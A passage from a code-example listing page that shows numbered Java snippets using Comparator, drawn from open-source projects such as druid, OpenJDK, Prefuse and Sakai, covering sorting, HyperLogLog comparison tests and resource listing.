    Object before = arithmeticPostAggregator.compute(metricValues);
    agg.aggregate();
    agg.aggregate();
    agg.aggregate();
    metricValues.put(agg.getName(), agg.get());
    Object after = arithmeticPostAggregator.compute(metricValues);
    Assert.assertEquals(-1, comp.compare(before, after));
    Assert.assertEquals(0, comp.compare(before, before));
    Assert.assertEquals(0, comp.compare(after, after));
    Assert.assertEquals(1, comp.compare(after, before));
}

77. HyperLogLogCollectorTest#testCompareToShouldBehaveConsistentlyWithEstimatedCardinalitiesEvenInToughCases()

Project: druid
Source File: HyperLogLogCollectorTest.java
View license
@Test
public void testCompareToShouldBehaveConsistentlyWithEstimatedCardinalitiesEvenInToughCases() throws Exception {
    // given
    Random rand = new Random(0);
    HyperUniquesAggregatorFactory factory = new HyperUniquesAggregatorFactory("foo", "bar");
    Comparator comparator = factory.getComparator();
    for (int i = 0; i < 1000; ++i) {
        // given
        HyperLogLogCollector leftCollector = HyperLogLogCollector.makeLatestCollector();
        int j = rand.nextInt(9000) + 5000;
        for (int l = 0; l < j; ++l) {
            leftCollector.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        HyperLogLogCollector rightCollector = HyperLogLogCollector.makeLatestCollector();
        int k = rand.nextInt(9000) + 5000;
        for (int l = 0; l < k; ++l) {
            rightCollector.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        // when
        final int orderedByCardinality = Double.compare(leftCollector.estimateCardinality(), rightCollector.estimateCardinality());
        final int orderedByComparator = comparator.compare(leftCollector, rightCollector);
        // then, assert hyperloglog comparator behaves consistently with estimated cardinalities
        Assert.assertEquals(String.format("orderedByComparator=%d, orderedByCardinality=%d,\n" + "Left={cardinality=%f, hll=%s},\n" + "Right={cardinality=%f, hll=%s},\n", orderedByComparator, orderedByCardinality, leftCollector.estimateCardinality(), leftCollector, rightCollector.estimateCardinality(), rightCollector), orderedByCardinality, orderedByComparator);
    }
}

78. HyperLogLogCollectorTest#testCompare2()

Project: druid
Source File: HyperLogLogCollectorTest.java
View license
@Test
public void testCompare2() throws Exception {
    Random rand = new Random(0);
    HyperUniquesAggregatorFactory factory = new HyperUniquesAggregatorFactory("foo", "bar");
    Comparator comparator = factory.getComparator();
    for (int i = 1; i < 1000; ++i) {
        HyperLogLogCollector collector1 = HyperLogLogCollector.makeLatestCollector();
        int j = rand.nextInt(50);
        for (int l = 0; l < j; ++l) {
            collector1.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        HyperLogLogCollector collector2 = HyperLogLogCollector.makeLatestCollector();
        int k = j + 1 + rand.nextInt(5);
        for (int l = 0; l < k; ++l) {
            collector2.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        Assert.assertEquals(Double.compare(collector1.estimateCardinality(), collector2.estimateCardinality()), comparator.compare(collector1, collector2));
    }
    for (int i = 1; i < 100; ++i) {
        HyperLogLogCollector collector1 = HyperLogLogCollector.makeLatestCollector();
        int j = rand.nextInt(500);
        for (int l = 0; l < j; ++l) {
            collector1.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        HyperLogLogCollector collector2 = HyperLogLogCollector.makeLatestCollector();
        int k = j + 2 + rand.nextInt(5);
        for (int l = 0; l < k; ++l) {
            collector2.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        Assert.assertEquals(Double.compare(collector1.estimateCardinality(), collector2.estimateCardinality()), comparator.compare(collector1, collector2));
    }
    for (int i = 1; i < 10; ++i) {
        HyperLogLogCollector collector1 = HyperLogLogCollector.makeLatestCollector();
        int j = rand.nextInt(100000);
        for (int l = 0; l < j; ++l) {
            collector1.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        HyperLogLogCollector collector2 = HyperLogLogCollector.makeLatestCollector();
        int k = j + 20000 + rand.nextInt(100000);
        for (int l = 0; l < k; ++l) {
            collector2.add(fn.hashLong(rand.nextLong()).asBytes());
        }
        Assert.assertEquals(Double.compare(collector1.estimateCardinality(), collector2.estimateCardinality()), comparator.compare(collector1, collector2));
    }
}

79. DefaultRowSorter#getComparator0()

Project: jdk7u-jdk
Source File: DefaultRowSorter.java
View license
// Returns the Comparator to use during sorting.  Where as
// getComparator() may return null, this will never return null.
private Comparator getComparator0(int column) {
    Comparator comparator = getComparator(column);
    if (comparator != null) {
        return comparator;
    }
    // true in this case.
    return Collator.getInstance();
}

80. GroupByQuery#getRowOrdering()

Project: druid
Source File: GroupByQuery.java
View license
public Ordering<Row> getRowOrdering(final boolean granular) {
    final Comparator naturalNullsFirst = Ordering.natural().nullsFirst();
    return Ordering.from(new Comparator<Row>() {

        @Override
        public int compare(Row lhs, Row rhs) {
            final int timeCompare;
            if (granular) {
                timeCompare = Longs.compare(granularity.truncate(lhs.getTimestampFromEpoch()), granularity.truncate(rhs.getTimestampFromEpoch()));
            } else {
                timeCompare = Longs.compare(lhs.getTimestampFromEpoch(), rhs.getTimestampFromEpoch());
            }
            if (timeCompare != 0) {
                return timeCompare;
            }
            for (DimensionSpec dimension : dimensions) {
                final int dimCompare = naturalNullsFirst.compare(lhs.getRaw(dimension.getOutputName()), rhs.getRaw(dimension.getOutputName()));
                if (dimCompare != 0) {
                    return dimCompare;
                }
            }
            return 0;
        }
    });
}

81. DataTransferer#getFormatsForFlavors()

Project: jdk7u-jdk
Source File: DataTransferer.java
View license
/**
     * Returns a Map whose keys are all of the possible formats into which data
     * in the specified DataFlavors can be translated. The value of each key
     * is the DataFlavor in which the Transferable's data should be requested
     * when converting to the format.
     * <p>
     * The map keys are sorted according to the native formats preference
     * order.
     *
     * @param flavors the data flavors
     * @param map the FlavorTable which contains mappings between
     *            DataFlavors and data formats
     * @throws NullPointerException if flavors or map is <code>null</code>
     */
public SortedMap getFormatsForFlavors(DataFlavor[] flavors, FlavorTable map) {
    Map formatMap = new HashMap(flavors.length);
    Map textPlainMap = new HashMap(flavors.length);
    // Maps formats to indices that will be used to sort the formats
    // according to the preference order.
    // Larger index value corresponds to the more preferable format.
    Map indexMap = new HashMap(flavors.length);
    Map textPlainIndexMap = new HashMap(flavors.length);
    int currentIndex = 0;
    // Transferable.getTransferDataFlavors.)
    for (int i = flavors.length - 1; i >= 0; i--) {
        DataFlavor flavor = flavors[i];
        if (flavor == null)
            continue;
        // case of Serializable
        if (flavor.isFlavorTextType() || flavor.isFlavorJavaFileListType() || DataFlavor.imageFlavor.equals(flavor) || flavor.isRepresentationClassSerializable() || flavor.isRepresentationClassInputStream() || flavor.isRepresentationClassRemote()) {
            List natives = map.getNativesForFlavor(flavor);
            currentIndex += natives.size();
            for (Iterator iter = natives.iterator(); iter.hasNext(); ) {
                Long lFormat = getFormatForNativeAsLong((String) iter.next());
                Integer index = Integer.valueOf(currentIndex--);
                formatMap.put(lFormat, flavor);
                indexMap.put(lFormat, index);
                // text/plain native data come from a text/plain flavor.
                if (("text".equals(flavor.getPrimaryType()) && "plain".equals(flavor.getSubType())) || flavor.equals(DataFlavor.stringFlavor)) {
                    textPlainMap.put(lFormat, flavor);
                    textPlainIndexMap.put(lFormat, index);
                }
            }
            currentIndex += natives.size();
        }
    }
    formatMap.putAll(textPlainMap);
    indexMap.putAll(textPlainIndexMap);
    // Sort the map keys according to the formats preference order.
    Comparator comparator = new IndexOrderComparator(indexMap, IndexedComparator.SELECT_WORST);
    SortedMap sortedMap = new TreeMap(comparator);
    sortedMap.putAll(formatMap);
    return sortedMap;
}

82. DataTransferer#setToSortedDataFlavorArray()

Project: jdk7u-jdk
Source File: DataTransferer.java
View license
/**
     * Helper function to convert a Set of DataFlavors to a sorted array.
     * The array will be sorted according to <code>DataFlavorComparator</code>.
     */
public static DataFlavor[] setToSortedDataFlavorArray(Set flavorsSet) {
    DataFlavor[] flavors = new DataFlavor[flavorsSet.size()];
    flavorsSet.toArray(flavors);
    final Comparator comparator = new DataFlavorComparator(IndexedComparator.SELECT_WORST);
    Arrays.sort(flavors, comparator);
    return flavors;
}

83. DataTransferer#setToSortedDataFlavorArray()

Project: jdk7u-jdk
Source File: DataTransferer.java
View license
/**
     * Helper function to convert a Set of DataFlavors to a sorted array.
     * The array will be sorted according to a
     * <code>DataFlavorComparator</code> created with the specified
     * flavor-to-native map as an argument.
     */
public static DataFlavor[] setToSortedDataFlavorArray(Set flavorsSet, Map flavorToNativeMap) {
    DataFlavor[] flavors = new DataFlavor[flavorsSet.size()];
    flavorsSet.toArray(flavors);
    Comparator comparator = new DataFlavorComparator(flavorToNativeMap, IndexedComparator.SELECT_WORST);
    Arrays.sort(flavors, comparator);
    return flavors;
}

84. GradebookServiceHibernateImpl#sortAssignments()

View license
/**
   * Sort the list of (internal) assignments by the given criteria
   * @param assignments
   * @param sortBy
   * @param ascending
   */
@SuppressWarnings({ "rawtypes", "unchecked" })
private void sortAssignments(List assignments, SortType sortBy, boolean ascending) {
    //note, this is duplicated in the tool GradebookManagerHibernateImpl class  
    Comparator comp;
    if (sortBy == null) {
        //default
        sortBy = SortType.SORT_BY_SORTING;
    }
    switch(sortBy) {
        case SORT_BY_NONE:
            //no sorting
            return;
        case SORT_BY_NAME:
            comp = GradableObject.nameComparator;
            break;
        case SORT_BY_DATE:
            comp = GradableObject.dateComparator;
            break;
        case SORT_BY_MEAN:
            comp = GradableObject.meanComparator;
            break;
        case SORT_BY_POINTS:
            comp = Assignment.pointsComparator;
            break;
        case SORT_BY_RELEASED:
            comp = Assignment.releasedComparator;
            break;
        case SORT_BY_COUNTED:
            comp = Assignment.countedComparator;
            break;
        case SORT_BY_EDITOR:
            comp = Assignment.gradeEditorComparator;
            break;
        case SORT_BY_SORTING:
            comp = Assignment.sortingComparator;
            break;
        case SORT_BY_CATEGORY:
            comp = Assignment.categoryComparator;
            break;
        default:
            comp = GradableObject.defaultComparator;
    }
    Collections.sort(assignments, comp);
    if (!ascending) {
        Collections.reverse(assignments);
    }
    if (log.isDebugEnabled()) {
        log.debug("sortAssignments: ordering by " + sortBy + " (" + comp + "), ascending=" + ascending);
    }
}

85. INSURLOperationImpl#getIORUsingCorbaloc()

Project: openjdk
Source File: INSURLOperationImpl.java
View license
/**
     *  This is an internal method to get the IOR from the CorbalocURL object.
     *
     *  @return the CORBA.Object if resolution is successful
     */
private org.omg.CORBA.Object getIORUsingCorbaloc(INSURL corbalocObject) {
    Map profileMap = new HashMap();
    List profileList1_0 = new ArrayList();
    // corbalocObject cannot be null, because it's validated during
    // parsing. So no null check is required.
    java.util.List theEndpointInfo = corbalocObject.getEndpointInfo();
    String theKeyString = corbalocObject.getKeyString();
    // If there is no KeyString then it's invalid
    if (theKeyString == null) {
        return null;
    }
    ObjectKey key = orb.getObjectKeyFactory().create(theKeyString.getBytes());
    IORTemplate iortemp = IORFactories.makeIORTemplate(key.getTemplate());
    java.util.Iterator iterator = theEndpointInfo.iterator();
    while (iterator.hasNext()) {
        IIOPEndpointInfo element = (IIOPEndpointInfo) iterator.next();
        IIOPAddress addr = IIOPFactories.makeIIOPAddress(orb, element.getHost(), element.getPort());
        GIOPVersion giopVersion = GIOPVersion.getInstance((byte) element.getMajor(), (byte) element.getMinor());
        IIOPProfileTemplate profileTemplate = null;
        if (giopVersion.equals(GIOPVersion.V1_0)) {
            profileTemplate = IIOPFactories.makeIIOPProfileTemplate(orb, giopVersion, addr);
            profileList1_0.add(profileTemplate);
        } else {
            if (profileMap.get(giopVersion) == null) {
                profileTemplate = IIOPFactories.makeIIOPProfileTemplate(orb, giopVersion, addr);
                profileMap.put(giopVersion, profileTemplate);
            } else {
                profileTemplate = (IIOPProfileTemplate) profileMap.get(giopVersion);
                AlternateIIOPAddressComponent iiopAddressComponent = IIOPFactories.makeAlternateIIOPAddressComponent(addr);
                profileTemplate.add(iiopAddressComponent);
            }
        }
    }
    GIOPVersion giopVersion = orb.getORBData().getGIOPVersion();
    IIOPProfileTemplate pTemplate = (IIOPProfileTemplate) profileMap.get(giopVersion);
    if (pTemplate != null) {
        // Add profile for GIOP version used by this ORB
        iortemp.add(pTemplate);
        // Now remove this value from the map
        profileMap.remove(giopVersion);
    }
    // Create a comparator that can sort in decending order (1.2, 1.1, ...)
    Comparator comp = new Comparator() {

        public int compare(Object o1, Object o2) {
            GIOPVersion gv1 = (GIOPVersion) o1;
            GIOPVersion gv2 = (GIOPVersion) o2;
            return (gv1.lessThan(gv2) ? 1 : (gv1.equals(gv2) ? 0 : -1));
        }

        ;
    };
    // Now sort using the above comparator
    List list = new ArrayList(profileMap.keySet());
    Collections.sort(list, comp);
    // Add the profiles in the sorted order
    Iterator iter = list.iterator();
    while (iter.hasNext()) {
        IIOPProfileTemplate pt = (IIOPProfileTemplate) profileMap.get(iter.next());
        iortemp.add(pt);
    }
    // Finally add the 1.0 profiles
    iortemp.addAll(profileList1_0);
    IOR ior = iortemp.makeIOR(orb, "", key.getId());
    return ORBUtility.makeObjectReference(ior);
}

86. EmptyNavigableMap#testComparatorIsNull()

Project: openjdk
Source File: EmptyNavigableMap.java
View license
/**
     * Tests that the comparator is {@code null}.
     */
@Test(dataProvider = "NavigableMap<?,?>", dataProviderClass = EmptyNavigableMap.class)
public void testComparatorIsNull(String description, NavigableMap<?, ?> navigableMap) {
    Comparator comparator = navigableMap.comparator();
    assertTrue(comparator == null || comparator == Collections.reverseOrder(), description + ": Comparator (" + comparator + ") is not null.");
}

87. EmptyNavigableSet#testComparatorIsNull()

Project: openjdk
Source File: EmptyNavigableSet.java
View license
/**
     * Tests that the comparator is {@code null}.
     */
@Test(dataProvider = "NavigableSet<?>", dataProviderClass = EmptyNavigableSet.class)
public void testComparatorIsNull(String description, NavigableSet<?> navigableSet) {
    Comparator comparator = navigableSet.comparator();
    assertTrue(comparator == null || comparator == Collections.reverseOrder(), description + ": Comparator (" + comparator + ") is not null.");
}

88. KeyTupleBTreeCursorTest#createTree()

View license
@Before
public void createTree() throws Exception {
    comparator = new Comparator<String>() {

        public int compare(String i1, String i2) {
            return i1.compareTo(i2);
        }
    };
    File tmpDir = null;
    if (System.getProperty(TEST_OUTPUT_PATH, null) != null) {
        tmpDir = new File(System.getProperty(TEST_OUTPUT_PATH));
    }
    dbFile = File.createTempFile(getClass().getSimpleName(), "db", tmpDir);
    recman = new BaseRecordManager(dbFile.getAbsolutePath());
    SerializableComparator<String> comparator = new SerializableComparator<String>(SchemaConstants.INTEGER_ORDERING_MATCH_MR_OID);
    comparator.setSchemaManager(schemaManager);
    table = new JdbmTable<String, String>(schemaManager, "test", 6, recman, comparator, comparator, new DefaultSerializer(), new DefaultSerializer());
    cursor = new KeyTupleBTreeCursor<String, String>(table.getBTree(), KEY, comparator);
}

89. ArrayComparator#comparators()

Project: optiq
Source File: ArrayComparator.java
View license
private static Comparator[] comparators(boolean[] descendings) {
    Comparator[] comparators = new Comparator[descendings.length];
    for (int i = 0; i < descendings.length; i++) {
        boolean descending = descendings[i];
        comparators[i] = descending ? Collections.reverseOrder() : Ordering.natural();
    }
    return comparators;
}

90. FilterIteratorFactory#getComparisonIterator()

Project: Prefuse
Source File: FilterIteratorFactory.java
View license
protected static IntIterator getComparisonIterator(Table t, ComparisonPredicate cp) {
    Expression l = cp.getLeftExpression();
    Expression r = cp.getRightExpression();
    int operation = cp.getOperation();
    // not equals operations aren't handled by the index
    if (operation == ComparisonPredicate.NEQ)
        return null;
    ColumnExpression col;
    Expression lit;
    // make sure columns are of the right type
    if (l instanceof ColumnExpression && !ExpressionAnalyzer.hasDependency(r)) {
        col = (ColumnExpression) l;
        lit = r;
    } else if (r instanceof ColumnExpression && !ExpressionAnalyzer.hasDependency(l)) {
        col = (ColumnExpression) r;
        lit = l;
    } else {
        return null;
    }
    // if table has index of the right type, use it
    Comparator cmp = cp.getComparator();
    Index index = t.getIndex(col.getColumnName());
    if (index == null || !cmp.equals(index.getComparator()))
        return null;
    Class ltype = lit.getClass();
    if (ltype == int.class) {
        // literal value, so null is safe
        int val = lit.getInt(null);
        switch(operation) {
            case ComparisonPredicate.LT:
                return index.rows(Integer.MIN_VALUE, val, Index.TYPE_AIE);
            case ComparisonPredicate.GT:
                return index.rows(val, Integer.MAX_VALUE, Index.TYPE_AEI);
            case ComparisonPredicate.EQ:
                return index.rows(val, val, Index.TYPE_AII);
            case ComparisonPredicate.LTEQ:
                return index.rows(Integer.MIN_VALUE, val, Index.TYPE_AII);
            case ComparisonPredicate.GTEQ:
                return index.rows(val, Integer.MAX_VALUE, Index.TYPE_AII);
            default:
                // should never occur
                throw new IllegalStateException();
        }
    } else if (ltype == long.class) {
        // literal value, so null is safe
        long val = lit.getLong(null);
        switch(operation) {
            case ComparisonPredicate.LT:
                return index.rows(Long.MIN_VALUE, val, Index.TYPE_AIE);
            case ComparisonPredicate.GT:
                return index.rows(val, Long.MAX_VALUE, Index.TYPE_AEI);
            case ComparisonPredicate.EQ:
                return index.rows(val, val, Index.TYPE_AII);
            case ComparisonPredicate.LTEQ:
                return index.rows(Long.MIN_VALUE, val, Index.TYPE_AII);
            case ComparisonPredicate.GTEQ:
                return index.rows(val, Long.MAX_VALUE, Index.TYPE_AII);
            default:
                // should never occur
                throw new IllegalStateException();
        }
    } else if (ltype == float.class) {
        // literal value, so null is safe
        float val = lit.getFloat(null);
        switch(operation) {
            case ComparisonPredicate.LT:
                return index.rows(Float.MIN_VALUE, val, Index.TYPE_AIE);
            case ComparisonPredicate.GT:
                return index.rows(val, Float.MAX_VALUE, Index.TYPE_AEI);
            case ComparisonPredicate.EQ:
                return index.rows(val, val, Index.TYPE_AII);
            case ComparisonPredicate.LTEQ:
                return index.rows(Float.MIN_VALUE, val, Index.TYPE_AII);
            case ComparisonPredicate.GTEQ:
                return index.rows(val, Float.MAX_VALUE, Index.TYPE_AII);
            default:
                // should never occur
                throw new IllegalStateException();
        }
    } else if (ltype == double.class) {
        // literal value, so null is safe
        double val = lit.getDouble(null);
        switch(operation) {
            case ComparisonPredicate.LT:
                return index.rows(Double.MIN_VALUE, val, Index.TYPE_AIE);
            case ComparisonPredicate.GT:
                return index.rows(val, Double.MAX_VALUE, Index.TYPE_AEI);
            case ComparisonPredicate.EQ:
                return index.rows(val, val, Index.TYPE_AII);
            case ComparisonPredicate.LTEQ:
                return index.rows(Double.MIN_VALUE, val, Index.TYPE_AII);
            case ComparisonPredicate.GTEQ:
                return index.rows(val, Double.MAX_VALUE, Index.TYPE_AII);
            default:
                // should never occur
                throw new IllegalStateException();
        }
    } else {
        // literal value, so null is safe
        Object val = lit.get(null);
        switch(operation) {
            case ComparisonPredicate.LT:
                return index.rows(null, val, Index.TYPE_AIE);
            case ComparisonPredicate.GT:
                return index.rows(val, null, Index.TYPE_AEI);
            case ComparisonPredicate.EQ:
                return index.rows(val, val, Index.TYPE_AII);
            case ComparisonPredicate.LTEQ:
                return index.rows(null, val, Index.TYPE_AII);
            case ComparisonPredicate.GTEQ:
                return index.rows(val, null, Index.TYPE_AII);
            default:
                // should never occur
                throw new IllegalStateException();
        }
    }
}

91. FilterIteratorFactory#getRangeIterator()

Project: Prefuse
Source File: FilterIteratorFactory.java
View license
protected static IntIterator getRangeIterator(Table t, RangePredicate rp) {
    ColumnExpression col;
    Expression l, r;
    // make sure columns are of the right type
    if (!(rp.getMiddleExpression() instanceof ColumnExpression) || ExpressionAnalyzer.hasDependency(rp.getLeftExpression()) || ExpressionAnalyzer.hasDependency(rp.getRightExpression())) {
        return null;
    }
    // assign variables
    col = (ColumnExpression) rp.getMiddleExpression();
    l = rp.getLeftExpression();
    r = rp.getRightExpression();
    // if table has index of the right type, use it
    Comparator cmp = rp.getComparator();
    Index index = t.getIndex(col.getColumnName());
    if (index == null || !cmp.equals(index.getComparator()))
        return null;
    int operation = rp.getOperation();
    Class ltype = t.getColumnType(col.getColumnName());
    // TODO safety check literal types
    // get the index type
    int indexType;
    switch(operation) {
        case RangePredicate.IN_IN:
            indexType = Index.TYPE_AII;
            break;
        case RangePredicate.IN_EX:
            indexType = Index.TYPE_AIE;
            break;
        case RangePredicate.EX_IN:
            indexType = Index.TYPE_AEI;
            break;
        case RangePredicate.EX_EX:
            indexType = Index.TYPE_AEE;
            break;
        default:
            // should never occur
            throw new IllegalStateException();
    }
    // get the indexed rows
    if (ltype == int.class) {
        return index.rows(l.getInt(null), r.getInt(null), indexType);
    } else if (ltype == long.class) {
        return index.rows(l.getLong(null), r.getLong(null), indexType);
    } else if (ltype == float.class) {
        return index.rows(l.getFloat(null), r.getFloat(null), indexType);
    } else if (ltype == double.class) {
        return index.rows(l.getDouble(null), r.getDouble(null), indexType);
    } else {
        return index.rows(l.get(null), r.get(null), indexType);
    }
}

92. ClassDep#compute()

Project: river
Source File: ClassDep.java
View license
/**
     * Method that takes the user provided switches that
     * logically define the domain in which to look for
     * dependencies. 
     */
public String[] compute() {
    /* sort ins and outs, longest first */
    Comparator c = new Compare();
    Collections.sort(inside, c);
    Collections.sort(outside, c);
    Collections.sort(shows, c);
    Collections.sort(hides, c);
    /*
 	 * Create the environment from which we are going to be
	 * loading classes from.
	 */
    env = new Env(classpath);
    /*
 	 * Traverse the roots i.e the set of handed directories.
	 */
    for (int i = 0; i < roots.size(); i++) {
        /*
	     * Get the classes that we want do to dependency checking on.
	     */
        traverse((String) roots.get(i));
    }
    for (int i = 0; i < classes.size(); i++) {
        process(null, Identifier.lookup((String) classes.get(i)), true);
    }
    if (!tells.isEmpty())
        return new String[0];
    String[] vals = (String[]) results.toArray(new String[results.size()]);
    Arrays.sort(vals);
    return vals;
}

93. FilePickerAction#readAllResources()

Project: sakai
Source File: FilePickerAction.java
View license
// prepPage
/**
	* Develop a list of all the site collections that there are to page.
	* Sort them as appropriate, and apply search criteria.
	*/
@SuppressWarnings("unchecked")
protected List<ListItem> readAllResources(SessionState state) {
    ToolSession toolSession = SessionManager.getCurrentToolSession();
    ContentHostingService contentService = (ContentHostingService) toolSession.getAttribute(STATE_CONTENT_SERVICE);
    ResourceTypeRegistry registry = (ResourceTypeRegistry) toolSession.getAttribute(STATE_RESOURCES_TYPE_REGISTRY);
    if (registry == null) {
        registry = (ResourceTypeRegistry) ComponentManager.get("org.sakaiproject.content.api.ResourceTypeRegistry");
        toolSession.setAttribute(STATE_RESOURCES_TYPE_REGISTRY, registry);
    }
    List<ListItem> other_sites = new Vector<ListItem>();
    String homeCollectionId = (String) toolSession.getAttribute(STATE_HOME_COLLECTION_ID);
    // make sure the collectionId is set
    String collectionId = (String) toolSession.getAttribute(STATE_DEFAULT_COLLECTION_ID);
    if (collectionId == null) {
        collectionId = homeCollectionId;
    }
    Set<String> expandedCollections = getExpandedCollections(toolSession);
    Comparator userSelectedSort = (Comparator) toolSession.getAttribute(STATE_LIST_VIEW_SORT);
    ContentResourceFilter filter = (ContentResourceFilter) state.getAttribute(STATE_ATTACHMENT_FILTER);
    // add user's personal workspace
    User user = UserDirectoryService.getCurrentUser();
    String userId = user.getId();
    String wsId = SiteService.getUserSiteId(userId);
    String wsCollectionId = contentService.getSiteCollection(wsId);
    if (!collectionId.equals(wsCollectionId)) {
        try {
            ContentCollection wsCollection = contentService.getCollection(wsCollectionId);
            ListItem wsRoot = ListItem.getListItem(wsCollection, null, registry, false, expandedCollections, null, null, 0, userSelectedSort, false, filter);
            other_sites.add(wsRoot);
        } catch (IdUnusedException e) {
            logger.warn("IdUnusedException ", e);
        } catch (TypeException e) {
            logger.warn("TypeException ", e);
        } catch (PermissionException e) {
            logger.warn("PermissionException ", e);
        }
    }
    /*
		 * add all other sites user has access to
		 * NOTE: This does not (and should not) get all sites for admin.  
		 *       Getting all sites for admin is too big a request and
		 *       would result in too big a display to render in html.
		 */
    Map othersites = contentService.getCollectionMap();
    SortedSet sort = new TreeSet();
    for (Iterator<Entry<String, String>> mapIter = othersites.entrySet().iterator(); mapIter.hasNext(); ) {
        Entry<String, String> entry = mapIter.next();
        sort.add(entry.getValue() + ResourcesAction.DELIM + entry.getKey());
    }
    Iterator<String> sortIt = sort.iterator();
    while (sortIt.hasNext()) {
        String keyvalue = sortIt.next();
        String displayName = keyvalue.substring(0, keyvalue.lastIndexOf(ResourcesAction.DELIM));
        String collId = keyvalue.substring(keyvalue.lastIndexOf(ResourcesAction.DELIM) + 1);
        if (!collectionId.equals(collId) && !wsCollectionId.equals(collId)) {
            ContentCollection collection;
            try {
                collection = contentService.getCollection(collId);
                ListItem root = ListItem.getListItem(collection, null, registry, false, expandedCollections, null, null, 0, null, false, null);
                root.setName(displayName);
                other_sites.add(root);
            } catch (IdUnusedException e) {
                logger.debug("IdUnusedException (FilePickerAction.readAllResources()) collId == " + collId + " --> " + e);
            } catch (TypeException e) {
                logger.warn("TypeException (FilePickerAction.readAllResources()) collId == " + collId + " --> " + e);
            } catch (PermissionException e) {
                logger.debug("PermissionException (FilePickerAction.readAllResources()) collId == " + collId + " --> " + e);
            }
        }
    }
    return other_sites;
}

94. ResourcesAction#doReorder()

Project: sakai
Source File: ResourcesAction.java
View license
// doPermissions
/**
	* Sort based on the given property
	*/
public void doReorder(RunData data) {
    logger.debug(this + ".doReorder()");
    if (!"POST".equals(data.getRequest().getMethod())) {
        return;
    }
    SessionState state = ((JetspeedRunData) data).getPortletSessionState(((JetspeedRunData) data).getJs_peid());
    //get the ParameterParser from RunData
    ParameterParser params = data.getParameters();
    String folderId = params.getString("folderId");
    if (folderId == null) {
        addAlert(state, "error");
    }
    String sortBy = (String) state.getAttribute(STATE_REORDER_SORT_BY);
    if (sortBy == null) {
        sortBy = ResourceProperties.PROP_CONTENT_PRIORITY;
        state.setAttribute(STATE_REORDER_SORT_BY, sortBy);
    }
    String sortedAsc = (String) state.getAttribute(STATE_REORDER_SORT_ASC);
    if (sortedAsc == null) {
        sortedAsc = Boolean.TRUE.toString();
        state.setAttribute(STATE_REORDER_SORT_ASC, sortedAsc);
    }
    Comparator comparator = ContentHostingService.newContentHostingComparator(sortBy, Boolean.getBoolean(sortedAsc));
    state.setAttribute(STATE_REORDER_SORT, comparator);
    if (state.getAttribute(STATE_MESSAGE) == null) {
        state.setAttribute(STATE_REORDER_FOLDER, folderId);
        state.setAttribute(STATE_MODE, MODE_REORDER);
    }
// if-else
}

95. ResourcesAction#readAllResources()

Project: sakai
Source File: ResourcesAction.java
View license
/**
	* Develop a list of all the site collections that there are to page.
	* Sort them as appropriate, and apply search criteria.
	*/
protected List<ListItem> readAllResources(SessionState state) {
    logger.debug(this + ".readAllResources()");
    ResourceTypeRegistry registry = (ResourceTypeRegistry) state.getAttribute(STATE_RESOURCES_TYPE_REGISTRY);
    if (registry == null) {
        registry = (ResourceTypeRegistry) ComponentManager.get("org.sakaiproject.content.api.ResourceTypeRegistry");
        state.setAttribute(STATE_RESOURCES_TYPE_REGISTRY, registry);
    }
    List<ListItem> other_sites = new ArrayList<ListItem>();
    String collectionId = (String) state.getAttribute(STATE_COLLECTION_ID);
    Set<String> expandedCollections = getExpandedCollections(state);
    Comparator userSelectedSort = (Comparator) state.getAttribute(STATE_LIST_VIEW_SORT);
    Boolean showRemove = (Boolean) state.getAttribute(STATE_SHOW_REMOVE_ACTION);
    boolean showRemoveAction = showRemove != null && showRemove.booleanValue();
    Boolean showMove = (Boolean) state.getAttribute(STATE_SHOW_MOVE_ACTION);
    boolean showMoveAction = showMove != null && showMove.booleanValue();
    Boolean showCopy = (Boolean) state.getAttribute(STATE_SHOW_COPY_ACTION);
    boolean showCopyAction = showCopy != null && showCopy.booleanValue();
    // add user's personal workspace
    User user = UserDirectoryService.getCurrentUser();
    String userId = user.getId();
    String wsId = SiteService.getUserSiteId(userId);
    String wsCollectionId = ContentHostingService.getSiteCollection(wsId);
    List<String> items_to_be_copied = (List<String>) state.getAttribute(STATE_ITEMS_TO_BE_COPIED);
    List<String> items_to_be_moved = (List<String>) state.getAttribute(STATE_ITEMS_TO_BE_MOVED);
    if (!collectionId.equals(wsCollectionId)) {
        try {
            ContentCollection wsCollection = ContentHostingService.getCollection(wsCollectionId);
            ListItem wsRoot = ListItem.getListItem(wsCollection, null, registry, false, expandedCollections, items_to_be_moved, items_to_be_copied, 0, userSelectedSort, false, null);
            other_sites.add(wsRoot);
        } catch (IdUnusedException e) {
            logger.warn("IdUnusedException ", e);
        } catch (TypeException e) {
            logger.warn("TypeException ", e);
        } catch (PermissionException e) {
            logger.warn("PermissionException ", e);
        }
    }
    /*
		 * add all other sites user has access to
		 * NOTE: This does not (and should not) get all sites for admin.  
		 *       Getting all sites for admin is too big a request and
		 *       would result in too big a display to render in html.
		 */
    Map othersites = ContentHostingService.getCollectionMap();
    SortedSet sort = new TreeSet();
    for (Iterator<Entry<String, String>> mapIter = othersites.entrySet().iterator(); mapIter.hasNext(); ) {
        Entry<String, String> entry = mapIter.next();
        sort.add(entry.getValue() + DELIM + entry.getKey());
    }
    Iterator sortIt = sort.iterator();
    while (sortIt.hasNext()) {
        String keyvalue = (String) sortIt.next();
        String displayName = keyvalue.substring(0, keyvalue.lastIndexOf(DELIM));
        String collId = keyvalue.substring(keyvalue.lastIndexOf(DELIM) + 1);
        if (!collectionId.equals(collId) && !wsCollectionId.equals(collId)) {
            ContentCollection collection;
            try {
                collection = ContentHostingService.getCollection(collId);
                ListItem root = ListItem.getListItem(collection, null, registry, false, expandedCollections, items_to_be_moved, items_to_be_copied, 0, null, false, null);
                root.setName(displayName);
                other_sites.add(root);
            } catch (IdUnusedException e) {
                logger.warn("IdUnusedException " + e);
            } catch (TypeException e) {
                logger.warn("TypeException " + e);
            } catch (PermissionException e) {
                logger.warn("PermissionException " + e);
            }
        }
    }
    return other_sites;
}